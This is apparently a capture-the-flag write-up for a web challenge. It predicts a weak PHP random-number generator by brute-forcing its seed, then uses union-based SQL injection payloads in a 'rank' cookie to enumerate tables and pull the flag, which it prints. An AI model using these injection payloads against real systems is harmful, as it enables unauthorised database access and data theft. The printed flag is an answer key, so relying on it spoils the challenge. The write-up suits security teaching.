Level 6A: The chosen ones (Web)
This level is a pretty standard web challenge.
We are presented with a webpage with a form that requires us to enter a number. Upon entering a number the webpage tells us what the expected number should have been. It seems that we need to find a way to predict the lucky number.
The challenge webpage contains a Base32 string in a HTML comment that decodes to the following PHP code (beautified):
function random(){
$prev = $_SESSION["seed"];
$current = (int)$prev ^ 844742906;
$current = decbin($current);
while(strlen($current)<32) {
$current = "0".$current;
}
$first = substr($current,0,7);
$second = substr($current,7,25);
$current = $second.$first;
$current = bindec($current);
$_SESSION["seed"] = $current;
return $current%1000000;
}
Here's a Python implementation:
def random(seed):
while True:
cur = seed ^ 844742906
cur = bin(cur)[2:].zfill(32)
first = cur[:7]
second = cur[7:]
cur = int(second + first, 2)
seed = cur
yield cur % 1000000
We know that the seed is a 32 bit integer (maximum value around a few billion) and we know the lower 6 digits of the state (out of 10). Therefore, we only need to bruteforce the other 4 digits to recover the original seed.
First, let's collect a few consecutive lucky numbers so we can validate the recovered seed:
627000, 710622, 371625
Now, we can bruteforce the 10 digit numbers ending with '627000' and check if they produce the same sequence observed:
def recover(seq):
for i in range(pow(10,5)):
rnd = random(i*1000000 + seq[0])
if next(rnd) == seq[1] and next(rnd) == seq[2]:
return i*1000000 + seq[0]
Now we can predict the next lucky number:
>>> recover([627000, 710622, 371625])
261627000
>>> rnd = random(261627000)
>>> next(rnd)
710622
>>> next(rnd)
371625
>>> next(rnd)
597940
Entering '597940' allows us to access some kind of personnel list.
We also observe that the cookie rank=0
is set. If we modify rank
to a larger value, more results are returned. However, changing it to a non-numeric value results in an internal server error.
Setting it to the SQL injection payload 1 or 1=1
results in all records being returned.
To enumerate tables within the database we use the payload
-1 union select group_concat(table_name),null,null,null from information_schema.tables where table_schema=database()
This reveals the existence of the CTF_SECRET
table.
Now to enumerate columns within that table:
-1 union select group_concat(column_name),null,null,null from information_schema.columns where table_name = 'CTF_SECRET'
This reveals the existence of the flag
column.
Now to finally retrieve the flag:
-1 union select flag,null,null,null from CTF_SECRET
The flag is TISC{Y0u_4rE_7h3_CH0s3n_0nE}
.